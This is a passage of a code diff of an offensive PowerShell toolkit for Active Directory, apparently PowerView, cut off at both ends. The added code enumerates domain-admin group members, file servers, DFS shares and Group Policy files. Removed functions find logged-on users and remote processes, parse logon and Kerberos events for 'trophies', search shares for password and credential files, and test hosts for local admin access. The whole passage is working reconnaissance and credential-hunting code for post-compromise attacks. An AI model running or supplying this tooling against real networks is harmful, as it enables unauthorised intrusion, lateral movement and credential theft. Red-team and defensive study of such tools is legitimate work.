$UserDirectoryEntry.RefreshCache("tokenGroups") - # output to a CSV file if specified - if ($OutFile) { - $data | export-csv -notypeinformation -path $OutFile - } - else{ - # otherwise just dump everything to stdout - $data + $UserDirectoryEntry.TokenGroups | Foreach-Object { + # convert the token group sid + $GroupSid = (New-Object System.Security.Principal.SecurityIdentifier($_,0)).Value + + # ignore the built in users and default domain user group + if(!($GroupSid -match '^S-1-5-32-545|-513$')) { + if($FullData) { + Get-ADObject -SID $GroupSid + } + else { + Convert-SidToName $GroupSid + } + } + } + } + else { + if ($SID) { + $GroupSearcher.filter = "(&(samAccountType=268435456)(objectSID=$SID)$Filter)" + } + else { + $GroupSearcher.filter = "(&(samAccountType=268435456)(name=$GroupName)$Filter)" + } + + $GroupSearcher.PageSize = 200 + + $GroupSearcher.FindAll() | ForEach-Object { + # if we're returning full data objects + if ($FullData) { + # convert/process the LDAP fields for each result + Convert-LDAPProperty -Properties $_.Properties + } + else { + # otherwise we're just returning the group name + $_.properties.samaccountname + } + } + } } } } -function Get-LastLoggedOn { - <# - .SYNOPSIS - Gets the last user logged onto a target machine. +function Get-NetGroupMember { +<# + .SYNOPSIS - .DESCRIPTION - This function uses remote registry functionality to return - the last user logged onto a target machine. + This function users [ADSI] and LDAP to query the current AD context + or trusted domain for users in a specified group. If no GroupName is + specified, it defaults to querying the "Domain Admins" group. + This is a replacement for "net group 'name' /domain" - Note: This function requires administrative rights on the - machine you're enumerating. + .PARAMETER GroupName - .PARAMETER HostName - The hostname to query for open files. Defaults to the - local host name. + The group name to query for users. - .OUTPUTS - The last loggedon user name, or $null if the enumeration fails. + .PARAMETER SID - .EXAMPLE - > Get-LastLoggedOn - Returns the last user logged onto the local machine. + The Group SID to query for users. If not given, it defaults to 512 "Domain Admins" - .EXAMPLE - > Get-LastLoggedOn -HostName WINDOWS1 - Returns the last user logged onto WINDOWS1 - #> + .PARAMETER Filter - [CmdletBinding()] - param( - [Parameter(ValueFromPipeline=$True)] - $HostName = "." - ) + A customized ldap filter string to use, e.g. "(description=*admin*)" - process { + .PARAMETER Domain - # process multiple object types - $HostName = Get-NameField $HostName + The domain to query for group users, defaults to the current domain. - # try to open up the remote registry key to grab the last logged on user - try{ - $reg = [WMIClass]"\\$HostName\root\default:stdRegProv" - $hklm = 2147483650 - $key = "SOFTWARE\Microsoft\Windows\CurrentVersion\Authentication\LogonUI" - $value = "LastLoggedOnUser" - $reg.GetStringValue($hklm, $key, $value).sValue - } - catch{ - Write-Warning "[!] Error opening remote registry on $HostName. Remote registry likely not enabled." - $null - } - } -} + .PARAMETER DomainController + Domain controller to reflect LDAP queries through. -function Get-NetProcesses { - <# - .SYNOPSIS - Gets a list of processes/owners on a remote machine. + .PARAMETER ADSpath - .PARAMETER HostName - The hostname to query for open files. Defaults to the - local host name. + The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local" + Useful for OU queries. - .PARAMETER RemoteUserName - The "domain\username" to use for the WMI call on a remote system. - If supplied, 'RemotePassword' must be supplied as well. + .PARAMETER FullData - .PARAMETER RemotePassword - The password to use for the WMI call on a remote system. + Switch. Returns full data objects instead of just group/users. - .OUTPUTS - The last loggedon user name, or $null if the enumeration fails. + .PARAMETER Recurse - .EXAMPLE - > Get-LastLoggedOn - Returns the last user logged onto the local machine. + Switch. If the group member is a group, recursively try to query its members as well. + + .PARAMETER UseMatchingRule + + Switch. Use LDAP_MATCHING_RULE_IN_CHAIN in the LDAP search query when -Recurse is specified. + Much faster than manual recursion, but doesn't reveal cross-domain groups. + + .EXAMPLE + + PS C:\> Get-NetGroupMember + + Returns the usernames that of members of the "Domain Admins" domain group. + + .EXAMPLE + + PS C:\> Get-NetGroupMember -Domain testing -GroupName "Power Users" + + Returns the usernames that of members of the "Power Users" group in the 'testing' domain. + + .LINK - .EXAMPLE - > Get-LastLoggedOn -HostName WINDOWS1 - Returns the last user logged onto WINDOWS1 - #> + http://www.powershellmagazine.com/2013/05/23/pstip-retrieve-group-membership-of-an-active-directory-group-recursively/ +#> [CmdletBinding()] param( [Parameter(ValueFromPipeline=$True)] - [string] - $HostName, - - [string] - $RemoteUserName, - - [string] - $RemotePassword - ) - - process { - # default to the local hostname - if (-not $HostName){ - $HostName = [System.Net.Dns]::GetHostName() - } - - # process multiple object types - $HostName = Get-NameField $HostName + [String] + $GroupName, - $Credential = $Null + [String] + $SID, - if($RemoteUserName){ - if($RemotePassword){ - $Password = $RemotePassword | ConvertTo-SecureString -asPlainText -Force - $Credential = New-Object System.Management.Automation.PSCredential($RemoteUserName,$Password) + [String] + $Domain = (Get-NetDomain).Name, - # try to enumerate the processes on the remote machine using the supplied credential - try{ - Get-WMIobject -Class Win32_process -ComputerName $HostName -Credential $Credential | % { - $owner=$_.getowner(); - $out = new-object psobject - $out | add-member Noteproperty 'Host' $HostName - $out | add-member Noteproperty 'Process' $_.ProcessName - $out | add-member Noteproperty 'PID' $_.ProcessID - $out | add-member Noteproperty 'Domain' $owner.Domain - $out | add-member Noteproperty 'User' $owner.User - $out - } - } - catch{ - Write-Verbose "[!] Error enumerating remote processes, access likely denied" - } - } - else{ - Write-Warning "[!] RemotePassword must also be supplied!" - } - } - else{ - # try to enumerate the processes on the remote machine - try{ - Get-WMIobject -Class Win32_process -ComputerName $HostName | % { - $owner=$_.getowner(); - $out = new-object psobject - $out | add-member Noteproperty 'Host' $HostName - $out | add-member Noteproperty 'Process' $_.ProcessName - $out | add-member Noteproperty 'PID' $_.ProcessID - $out | add-member Noteproperty 'Domain' $owner.Domain - $out | add-member Noteproperty 'User' $owner.User - $out - } - } - catch{ - Write-Verbose "[!] Error enumerating remote processes, access likely denied" - } - } - } -} + [String] + $DomainController, + [String] + $ADSpath, -function Get-UserLogonEvents { - <# - .SYNOPSIS - Dump and parse security events relating to an account logon (ID 4624). + [Switch] + $FullData, - Author: @sixdub + [Switch] + $Recurse, - .DESCRIPTION - Provides information about all users who have logged on and where they - logged on from. Intended to be used and tested on - Windows 2008 Domain Controllers. - Admin Reqd? YES + [Switch] + $UseMatchingRule + ) - .PARAMETER HostName - The computer to get events from. Default: Localhost + begin { + # so this isn't repeated if users are passed on the pipeline + $GroupSearcher = Get-DomainSearcher -Domain $Domain -DomainController $DomainController -ADSpath $ADSpath + } - .PARAMETER DateStart - Filter out all events before this date. Default: 5 days + process { - .LINK - http://www.sixdub.net/2014/11/07/offensive-event-parsing-bringing-home-trophies/ - #> + if ($GroupSearcher) { - Param( - [string] - $HostName=$env:computername, + $GroupSearcher.PageSize = 200 - [DateTime] - $DateStart=[DateTime]::Today.AddDays(-5) - ) + if ($Recurse -and $UseMatchingRule) { + # resolve the group to a distinguishedname + if ($GroupName) { + $Group = Get-NetGroup -GroupName $GroupName -Domain $Domain -FullData + } + elseif ($SID) { + $Group = Get-NetGroup -SID $SID -Domain $Domain -FullData + } + else { + # default to domain admins + $SID = (Get-DomainSID -Domain $Domain) + "-512" + $Group = Get-NetGroup -SID $SID -Domain $Domain -FullData + } + $GroupDN = $Group.distinguishedname + $GroupFoundName = $Group.name - #grab all events matching our filter for the specified host - Get-WinEvent -ComputerName $HostName -FilterHashTable @{ LogName = "Security"; ID=4624; StartTime=$datestart} -ErrorAction SilentlyContinue | % { + if ($GroupDN) { + $GroupSearcher.filter = "(&(samAccountType=805306368)(memberof:1.2.840.113556.1.4.1941:=$GroupDN)$Filter)" + $GroupSearcher.PropertiesToLoad.AddRange(('distinguishedName','samaccounttype','lastlogon','lastlogontimestamp','dscorepropagationdata','objectsid','whencreated','badpasswordtime','accountexpires','iscriticalsystemobject','name','usnchanged','objectcategory','description','codepage','instancetype','countrycode','distinguishedname','cn','admincount','logonhours','objectclass','logoncount','usncreated','useraccountcontrol','objectguid','primarygroupid','lastlogoff','samaccountname','badpwdcount','whenchanged','memberof','pwdlastset','adspath')) - #first parse and check the logon type. This could be later adapted and tested for RDP logons (type 10) - if($_.message -match '(?s)(?<=Logon Type:).*?(?=(Impersonation Level:|New Logon:))'){ - if($matches){ - $logontype=$matches[0].trim() - $matches = $Null + $Members = $GroupSearcher.FindAll() + $GroupFoundName = $GroupName + } + else { + Write-Error "Unable to find Group" + } } - } - - #interactive logons or domain logons - if (($logontype -eq 2) -or ($logontype -eq 3)){ - try{ - # parse and store the account used and the address they came from - if($_.message -match '(?s)(?<=New Logon:).*?(?=Process Information:)'){ - if($matches){ - $account = $matches[0].split("`n")[2].split(":")[1].trim() - $domain = $matches[0].split("`n")[3].split(":")[1].trim() - $matches = $Null - } + else { + if ($GroupName) { + $GroupSearcher.filter = "(&(samAccountType=268435456)(name=$GroupName)$Filter)" } - if($_.message -match '(?s)(?<=Network Information:).*?(?=Source Port:)'){ - if($matches){ - $addr=$matches[0].split("`n")[2].split(":")[1].trim() - $matches = $Null - } + elseif ($SID) { + $GroupSearcher.filter = "(&(samAccountType=268435456)(objectSID=$SID)$Filter)" + } + else { + # default to domain admins + $SID = (Get-DomainSID -Domain $Domain) + "-512" + $GroupSearcher.filter = "(&(samAccountType=268435456)(objectSID=$SID)$Filter)" } - # only add if there was account information not for a machine or anonymous logon - if ($account -and (-not $account.endsWith("$")) -and ($account -ne "ANONYMOUS LOGON")) - { - $out = New-Object psobject - $out | Add-Member NoteProperty 'Domain' $domain - $out | Add-Member NoteProperty 'Username' $account - $out | Add-Member NoteProperty 'Address' $addr - $out | Add-Member NoteProperty 'Time' $_.TimeCreated - $out + $GroupSearcher.FindAll() | ForEach-Object { + try { + if (!($_) -or !($_.properties) -or !($_.properties.name)) { continue } + + $GroupFoundName = $_.properties.name[0] + $Members = @() + + if ($_.properties.member.Count -eq 0) { + $Finished = $False + $Bottom = 0 + $Top = 0 + while(!$Finished) { + $Top = $Bottom + 1499 + $MemberRange="member;range=$Bottom-$Top" + $Bottom += 1500 + $GroupSearcher.PropertiesToLoad.Clear() + [void]$GroupSearcher.PropertiesToLoad.Add("$MemberRange") + try { + $Result = $GroupSearcher.FindOne() + if ($Result) { + $RangedProperty = $_.Properties.PropertyNames -like "member;range=*" + $Results = $_.Properties.item($RangedProperty) + if ($Results.count -eq 0) { + $Finished = $True + } + else { + $Results | ForEach-Object { + $Members += $_ + } + } + } + else { + $Finished = $True + } + } + catch [System.Management.Automation.MethodInvocationException] { + $Finished = $True + } + } + } + else { + $Members = $_.properties.member + } + } + catch { + Write-Verbose $_ + } } } - catch{} - } - } -} - -function Get-UserTGTEvents { - <# - .SYNOPSIS - Dump and parse security events relating to kerberos TGT requests (ID 4768). - Use this against a domain controllers, duh :) + $Members | Where-Object {$_} | ForEach-Object { + # if we're doing the LDAP_MATCHING_RULE_IN_CHAIN recursion + if ($Recurse -and $UseMatchingRule) { + $Properties = $_.Properties + } + else { + if ($DomainController) { + $Properties = ([adsi]"LDAP://$DomainController/$_").Properties + } + else { + $Properties = ([adsi]"LDAP://$_").Properties + } + } - .PARAMETER HostName - The computer to get events from. Default: Localhost + if($Properties.samaccounttype -match '268435456') { + $IsGroup = $True + } + else { + $IsGroup = $False + } - .PARAMETER DateStart - Filter out all events before this date. Default: 5 days + if ($FullData) { + $GroupMember = Convert-LDAPProperty -Properties $Properties + } + else { + $GroupMember = New-Object PSObject + } - .LINK - http://www.sixdub.net/2014/11/07/offensive-event-parsing-bringing-home-trophies/ - #> + $GroupMember | Add-Member Noteproperty 'GroupDomain' $Domain + $GroupMember | Add-Member Noteproperty 'GroupName' $GroupFoundName - Param( - [string] - $HostName=$env:computername, + try { + $MemberDN = $Properties.distinguishedname[0] + + # extract the FQDN from the Distinguished Name + $MemberDomain = $MemberDN.subString($MemberDN.IndexOf("DC=")) -replace 'DC=','' -replace ',','.' + } + catch { + $MemberDN = $Null + $MemberDomain = $Null + } - [DateTime] - $DateStart=[DateTime]::Today.AddDays(-5) - ) + if ($Properties.samaccountname) { + # forest users have the samAccountName set + $MemberName = $Properties.samaccountname[0] + } + else { + # external trust users have a SID, so convert it + try { + $MemberName = Convert-SidToName $Properties.cn[0] + } + catch { + # if there's a problem contacting the domain to resolve the SID + $MemberName = $Properties.cn + } + } + + if($Properties.objectSid) { + $MemberSid = ((New-Object System.Security.Principal.SecurityIdentifier $Properties.objectSid[0],0).Value) + } + else { + $MemberSid = $Null + } - Get-WinEvent -ComputerName $HostName -FilterHashTable @{ LogName = "Security"; ID=4768; StartTime=$datestart} -ErrorAction SilentlyContinue | % { + $GroupMember | Add-Member Noteproperty 'MemberDomain' $MemberDomain + $GroupMember | Add-Member Noteproperty 'MemberName' $MemberName + $GroupMember | Add-Member Noteproperty 'MemberSid' $MemberSid + $GroupMember | Add-Member Noteproperty 'IsGroup' $IsGroup + $GroupMember | Add-Member Noteproperty 'MemberDN' $MemberDN - try{ - if($_.message -match '(?s)(?<=Account Information:).*?(?=Service Information:)'){ - if($matches){ - $account = $matches[0].split("`n")[1].split(":")[1].trim() - $domain = $matches[0].split("`n")[2].split(":")[1].trim() - $matches = $Null - } - } + $GroupMember - if($_.message -match '(?s)(?<=Network Information:).*?(?=Additional Information:)'){ - if($matches){ - $addr = $matches[0].split("`n")[1].split(":")[-1].trim() - $matches = $Null + # if we're doing manual recursion + if ($Recurse -and !$UseMatchingRule -and $IsGroup -and $MemberName) { + Get-NetGroupMember -Domain $MemberDomain -DomainController $DomainController -GroupName $MemberName -Recurse } } - - $out = New-Object psobject - $out | Add-Member NoteProperty 'Domain' $domain - $out | Add-Member NoteProperty 'Username' $account - $out | Add-Member NoteProperty 'Address' $addr - $out | Add-Member NoteProperty 'Time' $_.TimeCreated - $out } - catch{} } } -function Get-UserProperties { - <# - .SYNOPSIS - Returns a list of all user object properties. If a property - name is specified, it returns all [user:property] values. +function Get-NetFileServer { +<# + .SYNOPSIS - Taken directly from @obscuresec's post: - http://obscuresecurity.blogspot.com/2014/04/ADSISearcher.html + Returns a list of all file servers extracted from user + homedirectory, scriptpath, and profilepath fields. - .DESCRIPTION - This function a list of all user object properties, optionally - returning all the user:property combinations if a property - name is specified. + .PARAMETER Domain - .PARAMETER Domain - The domain to query for user properties. + The domain to query for user file servers, defaults to the current domain. - .PARAMETER Properties - Return property names for users. + .PARAMETER DomainController - .EXAMPLE - > Get-UserProperties - Returns all user properties for users in the current domain. + Domain controller to reflect LDAP queries through. - .EXAMPLE - > Get-UserProperties -Properties ssn,lastlogon,location - Returns all an array of user/ssn/lastlogin/location combinations - for users in the current domain. + .PARAMETER TargetUsers - .EXAMPLE - > Get-UserProperties -Domain testing - Returns all user properties for users in the 'testing' domain. + An array of users to query for file servers. - .LINK - http://obscuresecurity.blogspot.com/2014/04/ADSISearcher.html - #> + .EXAMPLE + + PS C:\> Get-NetFileServer + + Returns active file servers. + + .EXAMPLE + + PS C:\> Get-NetFileServer -Domain testing + + Returns active file servers for the 'testing' domain. +#> [CmdletBinding()] param( - [string] + [String] $Domain, - [string[]] - $Properties - ) + [String] + $DomainController, - if($Properties) { - # extract out the set of all properties for each object - Get-NetUser -Domain $Domain | % { + [String[]] + $TargetUsers + ) - $out = new-object psobject - $out | add-member Noteproperty 'Name' $_.name + function SplitPath { + # short internal helper to split UNC server paths + param([String]$Path) - if($Properties -isnot [system.array]){ - $Properties = @($Properties) + if ($Path -and ($Path.split("\\").Count -ge 3)) { + $Temp = $Path.split("\\")[2] + if($Temp -and ($Temp -ne '')) { + $Temp } - foreach($Property in $Properties){ - try { - $out | add-member Noteproperty $Property $_.$Property - } - catch {} - } - $out } } - else{ - # extract out just the property names - Get-NetUser -Domain $Domain | Select -first 1 | Get-Member -MemberType *Property | Select-Object -Property "Name" - } + + Get-NetUser -Domain $Domain -DomainController $DomainController | Where-Object {$_} | Where-Object { + # filter for any target users + if($TargetUsers) { + $TargetUsers -Match $_.samAccountName + } + else { $True } + } | Foreach-Object { + # split out every potential file server path + if($_.homedirectory) { + SplitPath($_.homedirectory) + } + if($_.scriptpath) { + SplitPath($_.scriptpath) + } + if($_.profilepath) { + SplitPath($_.profilepath) + } + + } | Where-Object {$_} | Sort-Object -Unique } -function Get-ComputerProperties { - <# - .SYNOPSIS - Returns a list of all computer object properties. If a property - name is specified, it returns all [computer:property] values. +function Get-DFSshare { +<# + .SYNOPSIS - Taken directly from @obscuresec's post: - http://obscuresecurity.blogspot.com/2014/04/ADSISearcher.html + Returns a list of all fault-tolerant distributed file + systems for a given domain. - .DESCRIPTION - This function a list of all computer object properties, optinoally - returning all the computer:property combinations if a property - name is specified. + .PARAMETER Version - .PARAMETER Domain - The domain to query for computer properties. + The version of DFS to query for servers. + 1/v1, 2/v2, or all - .PARAMETER Properties - Return property names for computers. + .PARAMETER Domain - .EXAMPLE - > Get-ComputerProperties - Returns all computer properties for computers in the current domain. + The domain to query for user DFS shares, defaults to the current domain. - .EXAMPLE - > Get-ComputerProperties -Properties ssn,lastlogon,location - Returns all an array of computer/ssn/lastlogin/location combinations - for computers in the current domain. + .PARAMETER DomainController - .EXAMPLE - > Get-ComputerProperties -Domain testing - Returns all user properties for computers in the 'testing' domain. + Domain controller to reflect LDAP queries through. - .LINK - http://obscuresecurity.blogspot.com/2014/04/ADSISearcher.html - #> + .PARAMETER ADSpath + + The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local" + Useful for OU queries. + + .EXAMPLE + + PS C:\> Get-DFSshare + + Returns all distributed file system shares for the current domain. + + .EXAMPLE + + PS C:\> Get-DFSshare -Domain test + + Returns all distributed file system shares for the 'test' domain. +#> [CmdletBinding()] param( - [string] + [String] + [ValidateSet("All","V1","1","V2","2")] + $Version = "All", + + [String] $Domain, - [string[]] - $Properties + [String] + $DomainController, + + [String] + $ADSpath ) - if($Properties) { - # extract out the set of all properties for each object - Get-NetComputers -Domain $Domain -FullData | % { + function Get-DFSshareV1 { + [CmdletBinding()] + param( + [String] + $Domain, - $out = new-object psobject - $out | add-member Noteproperty 'Name' $_.name + [String] + $DomainController, - if($Properties -isnot [system.array]){ - $Properties = @($Properties) - } - foreach($Property in $Properties){ - try { - $out | add-member Noteproperty $Property $_.$Property + [String] + $ADSpath + ) + + $DFSsearcher = Get-DomainSearcher -Domain $Domain -DomainController $DomainController -ADSpath $ADSpath + + if($DFSsearcher) { + $DFSshares = @() + $DFSsearcher.filter = "(&(objectClass=fTDfs))" + + $DFSsearcher.PageSize = 200 + + try { + $DFSSearcher.FindAll() | Where-Object {$_} | ForEach-Object { + $Properties = $_.Properties + $RemoteNames = $Properties.remoteservername + + $DFSshares += $RemoteNames | ForEach-Object { + try { + if ( $_.Contains('\') ) { + New-Object -TypeName PSObject -Property @{'Name'=$Properties.name[0];'RemoteServerName'=$_.split("\")[2]} + } + } + catch { + Write-Debug "Error in parsing DFS share : $_" + } + } } - catch {} } - $out + catch { + Write-Warning "Get-DFSshareV2 error : $_" + } + $DFSshares | Sort-Object -Property "RemoteServerName" } } - else{ - # extract out just the property names - Get-NetComputers -Domain $Domain -FullData | Select -first 1 | Get-Member -MemberType *Property | Select-Object -Property "Name" - } -} + function Get-DFSshareV2 { + [CmdletBinding()] + param( + [String] + $Domain, -function Invoke-SearchFiles { - <# - .SYNOPSIS - Searches a given server/path for files with specific terms in the name. + [String] + $DomainController, - .DESCRIPTION - This function recursively searches a given UNC path for files with - specific keywords in the name (default of pass, sensitive, secret, admin, - login and unattend*.xml). The output can be piped out to a csv with the - -OutFile flag. By default, hidden files/folders are included in search results. + [String] + $ADSpath + ) - .PARAMETER Path - UNC/local path to recursively search. + $DFSsearcher = Get-DomainSearcher -Domain $Domain -DomainController $DomainController -ADSpath $ADSpath - .PARAMETER Terms - Terms to search for. + if($DFSsearcher) { + $DFSshares = @() + $DFSsearcher.filter = "(&(objectClass=msDFS-Linkv2))" + $DFSSearcher.PropertiesToLoad.AddRange(('msdfs-linkpathv2','msDFS-TargetListv2')) + $DFSsearcher.PageSize = 200 - .PARAMETER OfficeDocs - Search for office documents (*.doc*, *.xls*, *.ppt*) + try { + $DFSSearcher.FindAll() | Where-Object {$_} | ForEach-Object { + $Properties = $_.Properties + $target_list = $Properties.'msdfs-targetlistv2'[0] + $xml = [xml][System.Text.Encoding]::Unicode.GetString($target_list[2..($target_list.Length-1)]) + $DFSshares += $xml.targets.ChildNodes | ForEach-Object { + try { + $Target = $_.InnerText + if ( $Target.Contains('\') ) { + $DFSroot = $Target.split("\")[3] + $ShareName = $Properties.'msdfs-linkpathv2'[0] + New-Object -TypeName PSObject -Property @{'Name'="$DFSroot$ShareName";'RemoteServerName'=$Target.split("\")[2]} + } + } + catch { + Write-Debug "Error in parsing target : $_" + } + } + } + } + catch { + Write-Warning "Get-DFSshareV2 error : $_" + } + $DFSshares | Sort-Object -Unique -Property "RemoteServerName" + } + } - .PARAMETER FreshEXES - Find .EXEs accessed within the last week. + $DFSshares = @() + + if ( ($Version -eq "all") -or ($Version.endsWith("1")) ) { + $DFSshares += Get-DFSshareV1 -Domain $Domain -DomainController $DomainController -ADSpath $ADSpath + } + if ( ($Version -eq "all") -or ($Version.endsWith("2")) ) { + $DFSshares += Get-DFSshareV2 -Domain $Domain -DomainController $DomainController -ADSpath $ADSpath + } - .PARAMETER AccessDateLimit - Only return files with a LastAccessTime greater than this date value. + $DFSshares | Sort-Object -Property "RemoteServerName" +} - .PARAMETER WriteDateLimit - Only return files with a LastWriteTime greater than this date value. - .PARAMETER CreateDateLimit - Only return files with a CreationDate greater than this date value. +######################################################## +# +# GPO related functions. +# +######################################################## - .PARAMETER ExcludeFolders - Exclude folders from the search results. +function Get-GptTmpl { +<# + .SYNOPSIS - .PARAMETER ExcludeHidden - Exclude hidden files and folders from the search results. + Helper to parse a GptTmpl.inf policy file path into a custom object. - .PARAMETER CheckWriteAccess - Only returns files the current user has write access to. + .PARAMETER GptTmplPath - .PARAMETER OutFile - Output results to a specified csv output file. + The GptTmpl.inf file path name to parse. - .OUTPUTS - The full path, owner, lastaccess time, lastwrite time, and size for - each found file. + .PARAMETER UsePSDrive - .EXAMPLE - > Invoke-SearchFiles -Path \\WINDOWS7\Users\ - Returns any files on the remote path \\WINDOWS7\Users\ that have 'pass', - 'sensitive', or 'secret' in the title. + Switch. Mount the target GptTmpl folder path as a temporary PSDrive. - .EXAMPLE - > Invoke-SearchFiles -Path \\WINDOWS7\Users\ -Terms salaries,email -OutFile out.csv - Returns any files on the remote path \\WINDOWS7\Users\ that have 'salaries' - or 'email' in the title, and writes the results out to a csv file - named 'out.csv' + .EXAMPLE - .EXAMPLE - > Invoke-SearchFiles -Path \\WINDOWS7\Users\ -AccessDateLimit 6/1/2014 - Returns all files accessed since 6/1/2014. + PS C:\> Get-GptTmpl -GptTmplPath "\\dev.testlab.local\sysvol\dev.testlab.local\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Microsoft\Windows NT\SecEdit\GptTmpl.inf" - .LINK - http://www.harmj0y.net/blog/redteaming/file-server-triage-on-red-team-engagements/ - #> + Parse the default domain policy .inf for dev.testlab.local +#> [CmdletBinding()] - param( - [Parameter(ValueFromPipeline=$True)] - [string] - $Path = '.\', + Param ( + [Parameter(Mandatory=$True, ValueFromPipeline=$True)] + [String] + $GptTmplPath, + + [Switch] + $UsePSDrive + ) + + begin { + if($UsePSDrive) { + # if we're PSDrives, create a temporary mount point + $Parts = $GptTmplPath.split('\') + $FolderPath = $Parts[0..($Parts.length-2)] -join '\' + $FilePath = $Parts[-1] + $RandDrive = ("abcdefghijklmnopqrstuvwxyz".ToCharArray() | Get-Random -Count 7) -join '' + + Write-Verbose "Mounting path $GptTmplPath using a temp PSDrive at $RandDrive" - [string[]] - $Terms, + try { + $Null = New-PSDrive -Name $RandDrive -PSProvider FileSystem -Root $FolderPath -ErrorAction Stop + } + catch { + Write-Debug "Error mounting path $GptTmplPath : $_" + return $Null + } - [Switch] - $OfficeDocs, + # so we can cd/dir the new drive + $GptTmplPath = $RandDrive + ":\" + $FilePath + } + } - [Switch] - $FreshEXES, + process { + $SectionName = '' + $SectionsTemp = @{} + $SectionsFinal = @{} - [string] - $AccessDateLimit = '1/1/1970', + try { - [string] - $WriteDateLimit = '1/1/1970', + if(Test-Path $GptTmplPath) { - [string] - $CreateDateLimit = '1/1/1970', + Write-Verbose "Parsing $GptTmplPath" - [Switch] - $ExcludeFolders, + Get-Content $GptTmplPath -ErrorAction Stop | Foreach-Object { + if ($_ -match '\[') { + # this signifies that we're starting a new section + $SectionName = $_.trim('[]') -replace ' ','' + } + elseif($_ -match '=') { + $Parts = $_.split('=') + $PropertyName = $Parts[0].trim() + $PropertyValues = $Parts[1].trim() - [Switch] - $ExcludeHidden, + if($PropertyValues -match ',') { + $PropertyValues = $PropertyValues.split(',') + } - [Switch] - $CheckWriteAccess, + if(!$SectionsTemp[$SectionName]) { + $SectionsTemp.Add($SectionName, @{}) + } - [string] - $OutFile - ) + # add the parsed property into the relevant Section name + $SectionsTemp[$SectionName].Add( $PropertyName, $PropertyValues ) + } + } - begin { - # default search terms - $SearchTerms = @('pass', 'sensitive', 'admin', 'login', 'secret', 'unattend*.xml', '.vmdk', 'creds', 'credential', '.config') + ForEach ($Section in $SectionsTemp.keys) { + # transform each nested hash table into a custom object + $SectionsFinal[$Section] = New-Object PSObject -Property $SectionsTemp[$Section] + } - # check if custom search terms were passed - if ($Terms){ - if($Terms -isnot [system.array]){ - $Terms = @($Terms) + # transform the parent hash table into a custom object + New-Object PSObject -Property $SectionsFinal } - $SearchTerms = $Terms - } - - # append wildcards to the front and back of all search terms - for ($i = 0; $i -lt $SearchTerms.Count; $i++) { - $SearchTerms[$i] = "*$($SearchTerms[$i])*" } - - # search just for office documents if specified - if ($OfficeDocs){ - $SearchTerms = @('*.doc', '*.docx', '*.xls', '*.xlsx', '*.ppt', '*.pptx') + catch { + Write-Debug "Error parsing $GptTmplPath : $_" } + } - # find .exe's accessed within the last 7 days - if($FreshEXES){ - # get an access time limit of 7 days ago - $AccessDateLimit = (get-date).AddDays(-7).ToString('MM/dd/yyyy') - $SearchTerms = '*.exe' + end { + if($UsePSDrive -and $RandDrive) { + Write-Verbose "Removing temp PSDrive $RandDrive" + Get-PSDrive -Name $RandDrive -ErrorAction SilentlyContinue | Remove-PSDrive } } +} - process { - Write-Verbose "[*] Search path $Path" - - # build our giant recursive search command w/ conditional options - $cmd = "get-childitem $Path -rec $(if(-not $ExcludeHidden){`"-Force`"}) -ErrorAction SilentlyContinue -include $($SearchTerms -join `",`") | where{ $(if($ExcludeFolders){`"(-not `$_.PSIsContainer) -and`"}) (`$_.LastAccessTime -gt `"$AccessDateLimit`") -and (`$_.LastWriteTime -gt `"$WriteDateLimit`") -and (`$_.CreationTime -gt `"$CreateDateLimit`")} | select-object FullName,@{Name='Owner';Expression={(Get-Acl `$_.FullName).Owner}},LastAccessTime,LastWriteTime,Length $(if($CheckWriteAccess){`"| where { `$_.FullName } | where { Invoke-CheckWrite -Path `$_.FullName }`"}) $(if($OutFile){`"| export-csv -Append -notypeinformation -path $OutFile`"})" - # execute the command - Invoke-Expression $cmd - } -} +function Get-GroupsXML { +<# + .SYNOPSIS + Helper to parse a groups.xml file path into a custom object. -function Invoke-CheckLocalAdminAccess { - <# - .SYNOPSIS - Checks if the current user context has local administrator access - to a specified host or IP. + .PARAMETER GroupsXMLpath - Idea stolen from the local_admin_search_enum post module in - Metasploit written by: - 'Brandon McCann "zeknox" ' - 'Thomas McCarthy "smilingraccoon" ' - 'Royce Davis "r3dy" ' + The groups.xml file path name to parse. - .DESCRIPTION - This function will use the OpenSCManagerW Win32API call to to establish - a handle to the remote host. If this succeeds, the current user context - has local administrator acess to the target. + .PARAMETER ResolveSids - .PARAMETER HostName - The hostname to query for active sessions. + Switch. Resolve Sids from a DC policy to object names. - .OUTPUTS - $true if the current user has local admin access to the hostname, - $false otherwise + .PARAMETER UsePSDrive - .EXAMPLE - > Invoke-CheckLocalAdminAccess -HostName sqlserver - Returns active sessions on the local host. + Switch. Mount the target groups.xml folder path as a temporary PSDrive. - .LINK - https://github.com/rapid7/metasploit-framework/blob/master/modules/post/windows/gather/local_admin_search_enum.rb - http://www.powershellmagazine.com/2014/09/25/easily-defining-enums-structs-and-win32-functions-in-memory/ - #> +#> [CmdletBinding()] - param( - [Parameter(ValueFromPipeline=$True)] - [string] - $HostName = 'localhost' + Param ( + [Parameter(Mandatory=$True, ValueFromPipeline=$True)] + [String] + $GroupsXMLPath, + + [Switch] + $ResolveSids, + + [Switch] + $UsePSDrive ) begin { - If ($PSBoundParameters['Debug']) { - $DebugPreference = 'Continue' - } + if($UsePSDrive) { + # if we're PSDrives, create a temporary mount point + $Parts = $GroupsXMLPath.split('\') + $FolderPath = $Parts[0..($Parts.length-2)] -join '\' + $FilePath = $Parts[-1] + $RandDrive = ("abcdefghijklmnopqrstuvwxyz".ToCharArray() | Get-Random -Count 7) -join '' + + Write-Verbose "Mounting path $GroupsXMLPath using a temp PSDrive at $RandDrive" + + try { + $Null = New-PSDrive -Name $RandDrive -PSProvider FileSystem -Root $FolderPath -ErrorAction Stop + } + catch { + Write-Debug "Error mounting path $GroupsXMLPath : $_" + return $Null + } + + # so we can cd/dir the new drive + $GroupsXMLPath = $RandDrive + ":\" + $FilePath + } } process { - # process multiple object types - $HostName = Get-NameField $HostName + # parse the Groups.xml file if it exists + if(Test-Path $GroupsXMLPath) { - # 0xF003F - SC_MANAGER_ALL_ACCESS - # http://msdn.microsoft.com/en-us/library/windows/desktop/ms685981(v=vs.85).aspx - $handle = $Advapi32::OpenSCManagerW("\\$HostName", 'ServicesActive', 0xF003F) + [xml] $GroupsXMLcontent = Get-Content $GroupsXMLPath - Write-Debug "Invoke-CheckLocalAdminAccess handle: $handle" - - # if we get a non-zero handle back, everything was successful - if ($handle -ne 0){ - # Close off the service handle - $Advapi32::CloseServiceHandle($handle) | Out-Null - $true - } - else{ - # otherwise it failed - 